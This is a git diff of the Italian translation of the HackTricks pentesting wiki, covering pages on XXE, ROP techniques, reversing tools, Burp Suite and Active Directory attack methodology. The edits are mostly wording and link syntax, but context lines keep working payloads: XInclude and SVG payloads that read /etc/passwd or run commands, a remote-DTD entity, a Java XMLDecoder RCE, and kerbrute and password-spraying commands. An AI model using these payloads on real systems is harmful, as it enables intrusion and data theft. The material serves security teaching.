Per eseguire un attacco `XInclude`, è necessario dichiarare lo spazio dei nomi `XInclude` e specificare il percorso del file per l'entità esterna prevista. Di seguito è riportato un esempio conciso di come può essere formulato un attacco di questo tipo:
```xml
productId=<foo xmlns:xi="http://www.w3.org/2001/XInclude"><xi:include parse="text" href="file:///etc/passwd"/></foo>&storeId=1
```
@ -327,7 +328,7 @@ Un esempio di tale exploit è mostrato di seguito, dove un'immagine SVG dannosa
```xml
<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="300" version="1.1" height="200"><image xlink:href="file:///etc/hostname"></image></svg>
```
Un altro metodo prevede di **eseguire comandi** attraverso il wrapper PHP "expect":
Un altro metodo prevede di tentare di **eseguire comandi** attraverso il wrapper PHP "expect":
```xml
<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="300" version="1.1" height="200">
<image xlink:href="expect://ls"></image>
@ -367,7 +368,7 @@ Content-Length: 52
```
### Content-Type: Da JSON a XEE
Per modificare la richiesta puoi utilizzare un'estensione di Burp chiamata “**Content Type Converter**“. [Here](https://exploitstube.com/xxe-for-fun-and-profit-converting-json-request-to-xml.html) puoi trovare questo esempio:
Per modificare la richiesta, puoi utilizzare un'estensione di Burp chiamata “**Content Type Converter**“. [Here](https://exploitstube.com/xxe-for-fun-and-profit-converting-json-request-to-xml.html) puoi trovare questo esempio:
```xml
Content-Type: application/json;charset=UTF-8
@ -428,7 +429,7 @@ Se il web utilizza Java, puoi controllare il [**jar: protocol**](xxe-xee-xml-ext
### HTML Entities
Trucco da [**https://github.com/Ambrotd/XXE-Notes**](https://github.com/Ambrotd/XXE-Notes)\
Puoi creare un **entity all'interno di un entity** codificandolo con **html entities** e poi chiamarlo per **caricare un dtd**.\
Puoi creare un **entità all'interno di un'entità** codificandola con **html entities** e poi chiamarla per **caricare un dtd**.\
Nota che le **HTML Entities** utilizzate devono essere **numeriche** (come \[in questo esempio]\([https://gchq.github.io/CyberChef/#recipe=To_HTML_Entity%28true,'Numeric entities'%29\&input=PCFFTlRJVFkgJSBkdGQgU1lTVEVNICJodHRwOi8vMTcyLjE3LjAuMTo3ODc4L2J5cGFzczIuZHRkIiA%2B)\\](<https://gchq.github.io/CyberChef/#recipe=To_HTML_Entity%28true,%27Numeric%20entities%27%29&input=PCFFTlRJVFkgJSBkdGQgU1lTVEVNICJodHRwOi8vMTcyLjE3LjAuMTo3ODc4L2J5cGFzczIuZHRkIiA%2B)%5C>)).
```xml
<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE foo [<!ENTITY % a "&#x3C;&#x21;&#x45;&#x4E;&#x54;&#x49;&#x54;&#x59;&#x25;&#x64;&#x74;&#x64;&#x53;&#x59;&#x53;&#x54;&#x45;&#x4D;&#x22;&#x68;&#x74;&#x74;&#x70;&#x3A;&#x2F;&#x2F;&#x6F;&#x75;&#x72;&#x73;&#x65;&#x72;&#x76;&#x65;&#x72;&#x2E;&#x63;&#x6F;&#x6D;&#x2F;&#x62;&#x79;&#x70;&#x61;&#x73;&#x73;&#x2E;&#x64;&#x74;&#x64;&#x22;&#x3E;" >%a;%dtd;]>
@ -479,7 +480,7 @@ XLIFF (XML Localization Interchange File Format) è utilizzato per standardizzar
### Analisi della Richiesta Cieca
Viene effettuata una richiesta al server con il seguente contenuto:
Una richiesta viene inviata al server con il seguente contenuto:
```xml
------WebKitFormBoundaryqBdAsEtYaBjTArl3
Content-Disposition: form-data; name="file"; filename="xxe.xliff"
@ -606,11 +607,11 @@ Utilizzando il filtro base64 di PHP
</channel>
</rss>
```
## Java XMLDecoder XEE a RCE
## Java XMLDecoder XEE to RCE
XMLDecoder è una classe Java che crea oggetti basati su un messaggio XML. Se un utente malintenzionato riesce a far utilizzare a un'applicazione dati arbitrari in una chiamata al metodo **readObject**, otterrà immediatamente l'esecuzione di codice sul server.
### Utilizzando Runtime().exec()
### Using Runtime().exec()
```xml
<?xml version="1.0" encoding="UTF-8"?>
<java version="1.7.0_21" class="java.beans.XMLDecoder">
@ -672,7 +673,9 @@ XMLDecoder è una classe Java che crea oggetti basati su un messaggio XML. Se un
```
## Strumenti
{% embed url="https://github.com/luisfontes19/xxexploiter" %}
{{#ref}}
https://github.com/luisfontes19/xxexploiter
{{#endref}}
## Riferimenti
@ -685,5 +688,4 @@ XMLDecoder è una classe Java che crea oggetti basati su un messaggio XML. Se un
- [https://portswigger.net/web-security/xxe](https://portswigger.net/web-security/xxe)\\
- [https://gosecure.github.io/xxe-workshop/#7](https://gosecure.github.io/xxe-workshop/#7)
{{#include ../banners/hacktricks-training.md}}

6
src/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/ret2dlresolve.md
View File

@ -17,7 +17,9 @@ Di solito, tutte queste strutture vengono falsificate creando una **catena ROP i
Puoi trovare una spiegazione migliore su questa tecnica nella seconda metà del video:
{% embed url="https://youtu.be/ADULSwnQs-s?feature=shared" %}
{{#ref}}
https://youtu.be/ADULSwnQs-s?feature=shared
{{#endref}}
## Strutture
@ -25,7 +27,7 @@ Puoi trovare una spiegazione migliore su questa tecnica nella seconda metà del
## Riepilogo dell'attacco
1. Scrivere strutture false in qualche luogo
1. Scrivere strutture false in un certo luogo
2. Impostare il primo argomento di system (`$rdi = &'/bin/sh'`)
3. Impostare nello stack gli indirizzi delle strutture per chiamare **`_dl_runtime_resolve`**
4. **Chiamare** `_dl_runtime_resolve`

6
src/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/srop-sigreturn-oriented-programming.md
View File

@ -6,7 +6,7 @@
**`Sigreturn`** è una **syscall** speciale utilizzata principalmente per ripulire dopo che un gestore di segnali ha completato la sua esecuzione. I segnali sono interruzioni inviate a un programma dal sistema operativo, spesso per indicare che si è verificata una situazione eccezionale. Quando un programma riceve un segnale, interrompe temporaneamente il suo lavoro attuale per gestire il segnale con un **gestore di segnali**, una funzione speciale progettata per occuparsi dei segnali.
Dopo che il gestore di segnali termina, il programma deve **riprendere il suo stato precedente** come se nulla fosse accaduto. Qui entra in gioco **`sigreturn`**. Aiuta il programma a **ritornare dal gestore di segnali** e ripristina lo stato del programma ripulendo il frame dello stack (la sezione di memoria che memorizza le chiamate di funzione e le variabili locali) utilizzato dal gestore di segnali.
Dopo che il gestore di segnali ha terminato, il programma deve **riprendere il suo stato precedente** come se nulla fosse accaduto. Qui entra in gioco **`sigreturn`**. Aiuta il programma a **tornare dal gestore di segnali** e ripristina lo stato del programma ripulendo il frame dello stack (la sezione di memoria che memorizza le chiamate di funzione e le variabili locali) utilizzato dal gestore di segnali.
La parte interessante è come **`sigreturn`** ripristina lo stato del programma: lo fa memorizzando **tutti i valori dei registri della CPU nello stack.** Quando il segnale non è più bloccato, **`sigreturn` estrae questi valori dallo stack**, ripristinando effettivamente i registri della CPU al loro stato precedente alla gestione del segnale. Questo include il registro del puntatore dello stack (RSP), che punta all'attuale cima dello stack.
@ -21,7 +21,9 @@ rop-syscall-execv.md
Per una spiegazione migliore controlla anche:
{% embed url="https://youtu.be/ADULSwnQs-s?feature=shared" %}
{{#ref}}
https://youtu.be/ADULSwnQs-s?feature=shared
{{#endref}}
## Esempio

26
src/reversing/reversing-tools-basic-methods/README.md
View File

@ -55,7 +55,7 @@ File.AppendAllText(path, "Password: " + password + "\n");
```
### Debugging con DNSpy
Per eseguire il debug del codice utilizzando DNSpy, è necessario:
Per eseguire il debug del codice utilizzando DNSpy è necessario:
Innanzitutto, modificare gli **attributi dell'Assembly** relativi al **debugging**:
@ -121,7 +121,7 @@ Fai clic con il tasto destro su qualsiasi modulo in **Assembly Explorer** e clic
![](<../../images/image (868).png>)
- Configura i **parametri** dell'esecuzione mettendo il **percorso della DLL** e la funzione che vuoi chiamare:
- Configura i **parametri** dell'esecuzione inserendo il **percorso della DLL** e la funzione che desideri chiamare:
![](<../../images/image (704).png>)
@ -132,15 +132,15 @@ Ma, come puoi arrivare al codice della DLL che è stata caricata? Usando questo
### Usando x64dbg/x32dbg
- **Carica rundll32** (64bit in C:\Windows\System32\rundll32.exe e 32 bit in C:\Windows\SysWOW64\rundll32.exe)
- **Cambia la Command Line** (_File --> Change Command Line_) e imposta il percorso della dll e la funzione che vuoi chiamare, per esempio: "C:\Windows\SysWOW64\rundll32.exe" "Z:\shared\Cybercamp\rev2\\\14.ridii_2.dll",DLLMain
- **Cambia la Command Line** (_File --> Change Command Line_) e imposta il percorso della dll e la funzione che desideri chiamare, ad esempio: "C:\Windows\SysWOW64\rundll32.exe" "Z:\shared\Cybercamp\rev2\\\14.ridii_2.dll",DLLMain
- Cambia _Options --> Settings_ e seleziona "**DLL Entry**".
- Poi **avvia l'esecuzione**, il debugger si fermerà in ogni main della dll, a un certo punto ti fermerai **nell'Entry della dll**. Da lì, cerca i punti in cui vuoi mettere un breakpoint.
- Poi **avvia l'esecuzione**, il debugger si fermerà in ogni main della dll, a un certo punto ti fermerai **nell'Entry della dll**. Da lì, cerca i punti in cui desideri mettere un breakpoint.
Nota che quando l'esecuzione si ferma per qualsiasi motivo in win64dbg puoi vedere **in quale codice ti trovi** guardando **in cima alla finestra di win64dbg**:
![](<../../images/image (842).png>)
Poi, guardando questo puoi vedere quando l'esecuzione si è fermata nella dll che vuoi debuggare.
Poi, guardando questo puoi vedere quando l'esecuzione si è fermata nella dll che desideri debuggare.
## App GUI / Videogiochi
@ -156,7 +156,9 @@ cheat-engine.md
## ARM & MIPS
{% embed url="https://github.com/nongiach/arm_now" %}
{{#ref}}
https://github.com/nongiach/arm_now
{{#endref}}
## Shellcodes
@ -174,7 +176,7 @@ blobrunner.md
### Debugging di uno shellcode con jmp2it
[**jmp2it** ](https://github.com/adamkramer/jmp2it/releases/tag/v1.4) è molto simile a blobrunner. **Allochera** lo **shellcode** all'interno di uno spazio di memoria e avvierà un **ciclo eterno**. Devi quindi **attaccare il debugger** al processo, **premere start, attendere 2-5 secondi e premere stop** e ti troverai all'interno del **ciclo eterno**. Salta alla prossima istruzione del ciclo eterno poiché sarà una chiamata allo shellcode, e infine ti troverai ad eseguire lo shellcode.
[**jmp2it** ](https://github.com/adamkramer/jmp2it/releases/tag/v1.4)è molto simile a blobrunner. **Allochera** lo **shellcode** all'interno di uno spazio di memoria e avvierà un **ciclo eterno**. Devi quindi **attaccare il debugger** al processo, **premere start, attendere 2-5 secondi e premere stop** e ti troverai all'interno del **ciclo eterno**. Salta alla prossima istruzione del ciclo eterno poiché sarà una chiamata allo shellcode, e infine ti troverai ad eseguire lo shellcode.
![](<../../images/image (509).png>)
@ -214,7 +216,7 @@ scDbg dispone anche di un launcher grafico dove puoi selezionare le opzioni desi
![](<../../images/image (258).png>)
L'opzione **Create Dump** eseguirà il dump del shellcode finale se viene apportata una modifica al shellcode dinamicamente in memoria (utile per scaricare il shellcode decodificato). L'**offset di avvio** può essere utile per avviare il shellcode a un offset specifico. L'opzione **Debug Shell** è utile per eseguire il debug del shellcode utilizzando il terminale scDbg (tuttavia, trovo che nessuna delle opzioni spiegate prima sia migliore per questo scopo, poiché sarai in grado di utilizzare Ida o x64dbg).
L'opzione **Create Dump** eseguirà il dump del shellcode finale se viene apportata qualche modifica al shellcode dinamicamente in memoria (utile per scaricare il shellcode decodificato). L'**start offset** può essere utile per avviare il shellcode a un offset specifico. L'opzione **Debug Shell** è utile per eseguire il debug del shellcode utilizzando il terminale scDbg (tuttavia, trovo che nessuna delle opzioni spiegate prima sia migliore per questo scopo, poiché sarai in grado di utilizzare Ida o x64dbg).
### Disassemblaggio usando CyberChef
@ -253,7 +255,7 @@ Se devi fare reverse engineering di un binario Delphi ti consiglio di usare il p
Premi semplicemente **ATL+f7** (importa il plugin python in IDA) e seleziona il plugin python.
Questo plugin eseguirà il binario e risolverà i nomi delle funzioni dinamicamente all'inizio del debug. Dopo aver avviato il debug premi di nuovo il pulsante Start (quello verde o f9) e un breakpoint si attiverà all'inizio del codice reale.
Questo plugin eseguirà il binario e risolverà i nomi delle funzioni dinamicamente all'inizio del debug. Dopo aver avviato il debug premi di nuovo il pulsante Start (quello verde o f9) e un breakpoint verrà attivato all'inizio del codice reale.
È anche molto interessante perché se premi un pulsante nell'applicazione grafica il debugger si fermerà nella funzione eseguita da quel pulsante.
@ -275,7 +277,7 @@ In questa pagina puoi trovare come ottenere il codice python da un binario pytho
## GBA - Game Body Advance
Se ottieni il **binario** di un gioco GBA puoi usare diversi strumenti per **emularlo** e **debuggarlo**:
Se ottieni il **binario** di un gioco GBA puoi usare diversi strumenti per **emulare** e **debuggare**:
- [**no$gba**](https://problemkaputt.de/gba.htm) (_Scarica la versione di debug_) - Contiene un debugger con interfaccia
- [**mgba** ](https://mgba.io)- Contiene un debugger CLI
@ -380,7 +382,9 @@ Quindi, in questa sfida, conoscendo i valori dei pulsanti, dovevi **premere una
## Game Boy
{% embed url="https://www.youtube.com/watch?v=VVbRe7wr3G4" %}
{{#ref}}
https://www.youtube.com/watch?v=VVbRe7wr3G4
{{#endref}}
## Corsi

4
src/robots.txt Normal file
View File

@ -0,0 +1,4 @@
Sitemap: https://www.hacktricks.wiki/sitemap.xml
User-agent: *
Disallow:

4
src/stego/esoteric-languages.md
View File

@ -48,7 +48,9 @@ Take it to the top
Whisper my world
```
{% embed url="https://codewithrockstar.com/" %}
{{#ref}}
https://codewithrockstar.com/
{{#endref}}
## PETOOH
```

10
src/todo/burp-suite.md
View File

@ -1,16 +1,18 @@
{{#include ../banners/hacktricks-training.md}}
# Payload di Base
# Payloads di Base
- **Elenco Semplice:** Solo un elenco contenente un'entrata in ogni riga
- **File Runtime:** Un elenco letto in runtime (non caricato in memoria). Per supportare elenchi grandi.
- **Modifica del Caso:** Applica alcune modifiche a un elenco di stringhe (Nessuna modifica, in minuscolo, in MAIUSCOLO, in Nome Proprio - Prima lettera maiuscola e il resto in minuscolo-, in Nome Proprio - Prima lettera maiuscola e il resto rimane lo stesso-).
- **Numeri:** Genera numeri da X a Y usando Z come passo o casualmente.
- **Numeri:** Genera numeri da X a Y usando Z passi o casualmente.
- **Brute Forcer:** Insieme di caratteri, lunghezza minima e massima.
[https://github.com/0xC01DF00D/Collabfiltrator](https://github.com/0xC01DF00D/Collabfiltrator) : Payload per eseguire comandi e acquisire l'output tramite richieste DNS a burpcollab.
[https://github.com/0xC01DF00D/Collabfiltrator](https://github.com/0xC01DF00D/Collabfiltrator) : Payload per eseguire comandi e catturare l'output tramite richieste DNS a burpcollab.
{% embed url="https://medium.com/@ArtsSEC/burp-suite-exporter-462531be24e" %}
{{#ref}}
https://medium.com/@ArtsSEC/burp-suite-exporter-462531be24e
{{#endref}}
[https://github.com/h3xstream/http-script-generator](https://github.com/h3xstream/http-script-generator)

6
src/todo/other-web-tricks.md
View File

@ -20,11 +20,13 @@ Prova a registrarti come un utente già esistente. Prova anche a utilizzare cara
### Prendere il controllo delle email
Registrati con un'email, prima di confermarla cambia l'email, poi, se la nuova email di conferma viene inviata alla prima email registrata, puoi prendere il controllo di qualsiasi email. Oppure, se puoi abilitare la seconda email confermando la prima, puoi anche prendere il controllo di qualsiasi account.
Registrati con un'email, prima di confermarla cambia l'email, poi, se la nuova email di conferma viene inviata alla prima email registrata, puoi prendere il controllo di qualsiasi email. Oppure, se puoi abilitare la seconda email che conferma la prima, puoi anche prendere il controllo di qualsiasi account.
### Accesso al servicedesk interno delle aziende che utilizzano Atlassian
{% embed url="https://yourcompanyname.atlassian.net/servicedesk/customer/user/login" %}
{{#ref}}
https://yourcompanyname.atlassian.net/servicedesk/customer/user/login
{{#endref}}
### Metodo TRACE

92
src/todo/references.md
View File

@ -1,49 +1,95 @@
{{#include ../banners/hacktricks-training.md}}
{% embed url="https://highon.coffee/blog/penetration-testing-tools-cheat-sheet/#python-tty-shell-trick" %}
{{#ref}}
https://highon.coffee/blog/penetration-testing-tools-cheat-sheet/#python-tty-shell-trick
{{#endref}}
{% embed url="https://hausec.com/pentesting-cheatsheet/#_Toc475368982" %}
{{#ref}}
https://hausec.com/pentesting-cheatsheet/#_Toc475368982
{{#endref}}
{% embed url="https://anhtai.me/pentesting-cheatsheet/" %}
{{#ref}}
https://anhtai.me/pentesting-cheatsheet/
{{#endref}}
{% embed url="https://bitvijays.github.io/LFF-IPS-P2-VulnerabilityAnalysis.html" %}
{{#ref}}
https://bitvijays.github.io/LFF-IPS-P2-VulnerabilityAnalysis.html
{{#endref}}
{% embed url="https://ired.team/offensive-security-experiments/offensive-security-cheetsheets" %}
{{#ref}}
https://ired.team/offensive-security-experiments/offensive-security-cheetsheets
{{#endref}}
{% embed url="https://chryzsh.gitbooks.io/pentestbook/basics_of_windows.html" %}
{{#ref}}
https://chryzsh.gitbooks.io/pentestbook/basics_of_windows.html
{{#endref}}
{% embed url="https://github.com/wwong99/pentest-notes/blob/master/oscp_resources/OSCP-Survival-Guide.md" %}
{{#ref}}
https://github.com/wwong99/pentest-notes/blob/master/oscp_resources/OSCP-Survival-Guide.md
{{#endref}}
{% embed url="https://anhtai.me/oscp-fun-guide/" %}
{{#ref}}
https://anhtai.me/oscp-fun-guide/
{{#endref}}
{% embed url="https://www.thehacker.recipes/" %}
{{#ref}}
https://www.thehacker.recipes/
{{#endref}}
{% embed url="https://github.com/swisskyrepo/PayloadsAllTheThings" %}
{{#ref}}
https://github.com/swisskyrepo/PayloadsAllTheThings
{{#endref}}
{% embed url="https://gtfobins.github.io/" %}
{{#ref}}
https://gtfobins.github.io/
{{#endref}}
{% embed url="https://github.com/RistBS/Awesome-RedTeam-Cheatsheet" %}
{{#ref}}
https://github.com/RistBS/Awesome-RedTeam-Cheatsheet
{{#endref}}
{% embed url="https://github.com/S1ckB0y1337/Active-Directory-Exploitation-Cheat-Sheet" %}
{{#ref}}
https://github.com/S1ckB0y1337/Active-Directory-Exploitation-Cheat-Sheet
{{#endref}}
{% embed url="https://hideandsec.sh/" %}
{{#ref}}
https://hideandsec.sh/
{{#endref}}
{% embed url="https://cheatsheet.haax.fr/" %}
{{#ref}}
https://cheatsheet.haax.fr/
{{#endref}}
{% embed url="https://infosecwriteups.com/" %}
{{#ref}}
https://infosecwriteups.com/
{{#endref}}
{% embed url="https://www.exploit-db.com/" %}
{{#ref}}
https://www.exploit-db.com/
{{#endref}}
{% embed url="https://wadcoms.github.io/" %}
{{#ref}}
https://wadcoms.github.io/
{{#endref}}
{% embed url="https://lolbas-project.github.io" %}
{{#ref}}
https://lolbas-project.github.io
{{#endref}}
{% embed url="https://pentestbook.six2dez.com/" %}
{{#ref}}
https://pentestbook.six2dez.com/
{{#endref}}
{% embed url="https://www.hackingarticles.in/" %}
{{#ref}}
https://www.hackingarticles.in/
{{#endref}}
{% embed url="https://pentestlab.blog/" %}
{{#ref}}
https://pentestlab.blog/
{{#endref}}
{% embed url="https://ippsec.rocks/" %}
{{#ref}}
https://ippsec.rocks/
{{#endref}}
{{#include ../banners/hacktricks-training.md}}

76
src/windows-hardening/active-directory-methodology/README.md
View File

@ -12,7 +12,7 @@ I concetti chiave all'interno di **Active Directory** includono:
1. **Directory** – Contiene tutte le informazioni relative agli oggetti di Active Directory.
2. **Oggetto** – Denota entità all'interno della directory, inclusi **utenti**, **gruppi** o **cartelle condivise**.
3. **Dominio** – Funziona come contenitore per gli oggetti della directory, con la possibilità di più domini di coesistere all'interno di una **foresta**, ciascuno mantenendo la propria raccolta di oggetti.
3. **Dominio** – Funziona come contenitore per gli oggetti della directory, con la capacità di più domini di coesistere all'interno di una **foresta**, ciascuno mantenendo la propria raccolta di oggetti.
4. **Albero** – Un raggruppamento di domini che condividono un dominio radice comune.
5. **Foresta** – Il culmine della struttura organizzativa in Active Directory, composta da diversi alberi con **relazioni di fiducia** tra di loro.
@ -68,8 +68,8 @@ Se hai solo accesso a un ambiente AD ma non hai credenziali/sessioni, potresti:
- Accedi all'host [**abusando dell'attacco di relay**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md#relay-attack)
- Raccogli credenziali **esponendo** [**falsi servizi UPnP con evil-S**](../../generic-methodologies-and-resources/pentesting-network/spoofing-ssdp-and-upnp-devices.md)[**SDP**](https://medium.com/@nickvangilder/exploiting-multifunction-printers-during-a-penetration-test-engagement-28d3840d8856)
- [**OSINT**](https://book.hacktricks.xyz/external-recon-methodology):
- Estrai nomi utenti/nomi da documenti interni, social media, servizi (principalmente web) all'interno degli ambienti di dominio e anche da quelli pubblicamente disponibili.
- Se trovi i nomi completi dei lavoratori dell'azienda, potresti provare diverse **convenzioni di nomi utente AD** (**[leggi questo](https://activedirectorypro.com/active-directory-user-naming-convention/)**). Le convenzioni più comuni sono: _NomeCognome_, _Nome.Cognome_, _NamSur_ (3 lettere di ciascuno), _Nam.Sur_, _NSurname_, _N.Surname_, _CognomeNome_, _Cognome.Nome_, _CognomeN_, _Cognome.N_, 3 _lettere casuali e 3 numeri casuali_ (abc123).
- Estrai nomi utenti/nomi da documenti interni, social media, servizi (principalmente web) all'interno degli ambienti di dominio e anche da quelli disponibili pubblicamente.
- Se trovi i nomi completi dei lavoratori dell'azienda, potresti provare diverse **convenzioni di nome utente AD** ([**leggi questo**](https://activedirectorypro.com/active-directory-user-naming-convention/)). Le convenzioni più comuni sono: _NomeCognome_, _Nome.Cognome_, _NamSur_ (3 lettere di ciascuno), _Nam.Sur_, _NSurname_, _N.Surname_, _SurnameName_, _Surname.Name_, _SurnameN_, _Surname.N_, 3 _lettere casuali e 3 numeri casuali_ (abc123).
- Strumenti:
- [w0Tx/generate-ad-username](https://github.com/w0Tx/generate-ad-username)
- [urbanadventurer/username-anarchy](https://github.com/urbanadventurer/username-anarchy)
@ -77,7 +77,7 @@ Se hai solo accesso a un ambiente AD ma non hai credenziali/sessioni, potresti:
### Enumerazione utenti
- **Enumerazione SMB/LDAP anonima:** Controlla le pagine [**pentesting SMB**](../../network-services-pentesting/pentesting-smb/) e [**pentesting LDAP**](../../network-services-pentesting/pentesting-ldap.md).
- **Enumerazione Kerbrute**: Quando viene **richiesto un nome utente non valido**, il server risponderà utilizzando il codice di errore **Kerberos** _KRB5KDC_ERR_C_PRINCIPAL_UNKNOWN_, permettendoci di determinare che il nome utente era non valido. I **nomi utente validi** genereranno o il **TGT in una risposta AS-REP** o l'errore _KRB5KDC_ERR_PREAUTH_REQUIRED_, indicando che l'utente è tenuto a eseguire la pre-autenticazione.
- **Enumerazione Kerbrute**: Quando viene **richiesto un nome utente non valido**, il server risponderà utilizzando il codice di errore **Kerberos** _KRB5KDC_ERR_C_PRINCIPAL_UNKNOWN_, permettendoci di determinare che il nome utente era non valido. I **nomi utente validi** genereranno o il **TGT in una risposta AS-REP** o l'errore _KRB5KDC_ERR_PREAUTH_REQUIRED_, indicando che l'utente deve eseguire la pre-autenticazione.
```bash
./kerbrute_linux_amd64 userenum -d lab.ropnop.com --dc 10.10.10.10 usernames.txt #From https://github.com/ropnop/kerbrute/releases
@ -103,7 +103,7 @@ Invoke-PasswordSprayOWA -ExchHostname [ip] -UserList .\valid.txt -Password Summe
Get-GlobalAddressList -ExchHostname [ip] -UserName [domain]\[username] -Password Summer2021 -OutFile gal.txt
```
> [!WARNING]
> Puoi trovare elenchi di nomi utente in [**questo repo github**](https://github.com/danielmiessler/SecLists/tree/master/Usernames/Names) \*\*\*\* e in questo ([**statistically-likely-usernames**](https://github.com/insidetrust/statistically-likely-usernames)).
> Puoi trovare elenchi di nomi utente in [**questo repo github**](https://github.com/danielmiessler/SecLists/tree/master/Usernames/Names) \*\*\*\* e in quest'altro ([**statistically-likely-usernames**](https://github.com/insidetrust/statistically-likely-usernames)).
>
> Tuttavia, dovresti avere il **nome delle persone che lavorano nell'azienda** dal passo di ricognizione che avresti dovuto eseguire prima di questo. Con il nome e il cognome potresti usare lo script [**namemash.py**](https://gist.github.com/superkojiman/11076951) per generare potenziali nomi utente validi.
@ -112,7 +112,7 @@ Get-GlobalAddressList -ExchHostname [ip] -UserName [domain]\[username] -Password
Ok, quindi sai di avere già un nome utente valido ma nessuna password... Prova:
- [**ASREPRoast**](asreproast.md): Se un utente **non ha** l'attributo _DONT_REQ_PREAUTH_, puoi **richiedere un messaggio AS_REP** per quell'utente che conterrà alcuni dati crittografati da una derivazione della password dell'utente.
- [**Password Spraying**](password-spraying.md): Proviamo le **password più comuni** con ciascuno degli utenti scoperti, forse qualche utente sta usando una password debole (tieni presente la politica delle password!).
- [**Password Spraying**](password-spraying.md): Proviamo le password più **comuni** con ciascuno degli utenti scoperti, forse qualche utente sta usando una password debole (tieni presente la politica delle password!).
- Nota che puoi anche **spray i server OWA** per cercare di accedere ai server di posta degli utenti.
{{#ref}}
@ -161,7 +161,7 @@ Per quanto riguarda [**ASREPRoast**](asreproast.md) ora puoi trovare ogni possib
- Un altro strumento fantastico per la ricognizione in un active directory è [**BloodHound**](bloodhound.md). Non è **molto furtivo** (a seconda dei metodi di raccolta che usi), ma **se non ti importa** di questo, dovresti assolutamente provarlo. Scopri dove gli utenti possono RDP, trova percorsi verso altri gruppi, ecc.
- **Altri strumenti automatizzati per l'enumerazione AD sono:** [**AD Explorer**](bloodhound.md#ad-explorer)**,** [**ADRecon**](bloodhound.md#adrecon)**,** [**Group3r**](bloodhound.md#group3r)**,** [**PingCastle**](bloodhound.md#pingcastle)**.**
- [**Record DNS dell'AD**](ad-dns-records.md) poiché potrebbero contenere informazioni interessanti.
- Un **strumento con GUI** che puoi usare per enumerare la directory è **AdExplorer.exe** dal **SysInternal** Suite.
- Un **strumento con GUI** che puoi usare per enumerare la directory è **AdExplorer.exe** della **SysInternal** Suite.
- Puoi anche cercare nel database LDAP con **ldapsearch** per cercare credenziali nei campi _userPassword_ & _unixUserPassword_, o anche per _Description_. cf. [Password in AD User comment on PayloadsAllTheThings](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Active%20Directory%20Attack.md#password-in-ad-user-comment) per altri metodi.
- Se stai usando **Linux**, potresti anche enumerare il dominio usando [**pywerview**](https://github.com/the-useless-one/pywerview).
- Potresti anche provare strumenti automatizzati come:
@ -171,7 +171,7 @@ Per quanto riguarda [**ASREPRoast**](asreproast.md) ora puoi trovare ogni possib
È molto facile ottenere tutti i nomi utente del dominio da Windows (`net user /domain`, `Get-DomainUser` o `wmic useraccount get name,sid`). In Linux, puoi usare: `GetADUsers.py -all -dc-ip 10.10.10.110 domain.com/username` o `enum4linux -a -u "user" -p "password" <DC IP>`
> Anche se questa sezione di Enumerazione sembra piccola, questa è la parte più importante di tutte. Accedi ai link (principalmente quello di cmd, powershell, powerview e BloodHound), impara come enumerare un dominio e pratica finché non ti senti a tuo agio. Durante una valutazione, questo sarà il momento chiave per trovare la tua strada verso DA o per decidere che non si può fare nulla.
> Anche se questa sezione di Enumerazione sembra piccola, è la parte più importante di tutte. Accedi ai link (principalmente quello di cmd, powershell, powerview e BloodHound), impara come enumerare un dominio e pratica finché non ti senti a tuo agio. Durante una valutazione, questo sarà il momento chiave per trovare la tua strada verso DA o per decidere che non si può fare nulla.
### Kerberoast
@ -294,8 +294,8 @@ unconstrained-delegation.md
### Delegazione Vincolata
Se un utente o un computer è autorizzato per la "Delegazione Vincolata", sarà in grado di **impersonare qualsiasi utente per accedere ad alcuni servizi in un computer**.\
Quindi, se **comprometti l'hash** di questo utente/computer sarai in grado di **impersonare qualsiasi utente** (anche gli amministratori di dominio) per accedere ad alcuni servizi.
Se un utente o un computer è autorizzato per la "Delegazione Vincolata", sarà in grado di **impersonare qualsiasi utente per accedere a determinati servizi in un computer**.\
Quindi, se **comprometti l'hash** di questo utente/computer sarai in grado di **impersonare qualsiasi utente** (anche gli amministratori di dominio) per accedere a determinati servizi.
{{#ref}}
constrained-delegation.md
@ -393,7 +393,7 @@ Add-DomainObjectAcl -TargetIdentity "DC=SUB,DC=DOMAIN,DC=LOCAL" -PrincipalIdenti
### Silver Ticket
L'**attacco Silver Ticket** crea un **ticket di Ticket Granting Service (TGS)** legittimo per un servizio specifico utilizzando l'**hash NTLM** (ad esempio, l'**hash dell'account PC**). Questo metodo viene impiegato per **accedere ai privilegi del servizio**.
L'**attacco Silver Ticket** crea un **biglietto di servizio di concessione legittimo (TGS)** per un servizio specifico utilizzando l'**hash NTLM** (ad esempio, l'**hash dell'account PC**). Questo metodo viene impiegato per **accedere ai privilegi di servizio**.
{{#ref}}
silver-ticket.md
@ -401,7 +401,7 @@ silver-ticket.md
### Golden Ticket
Un **attacco Golden Ticket** comporta che un attaccante ottenga accesso all'**hash NTLM dell'account krbtgt** in un ambiente Active Directory (AD). Questo account è speciale perché viene utilizzato per firmare tutti i **Ticket Granting Tickets (TGT)**, essenziali per l'autenticazione all'interno della rete AD.
Un **attacco Golden Ticket** comporta che un attaccante ottenga accesso all'**hash NTLM dell'account krbtgt** in un ambiente Active Directory (AD). Questo account è speciale perché viene utilizzato per firmare tutti i **Ticket di Concessione (TGT)**, essenziali per l'autenticazione all'interno della rete AD.
Una volta che l'attaccante ottiene questo hash, può creare **TGT** per qualsiasi account scelga (attacco Silver ticket).
@ -411,7 +411,7 @@ golden-ticket.md
### Diamond Ticket
Questi sono simili ai golden ticket forgiati in un modo che **bypassa i comuni meccanismi di rilevamento dei golden ticket.**
Questi sono simili ai biglietti d'oro forgiati in un modo che **bypassa i comuni meccanismi di rilevamento dei biglietti d'oro.**
{{#ref}}
diamond-ticket.md
@ -425,7 +425,7 @@ diamond-ticket.md
ad-certificates/account-persistence.md
{{#endref}}
### **Persistenza del Dominio Certificati**
### **Persistenza dei Certificati di Dominio**
**Utilizzare certificati è anche possibile per persistere con privilegi elevati all'interno del dominio:**
@ -435,7 +435,7 @@ ad-certificates/domain-persistence.md
### Gruppo AdminSDHolder
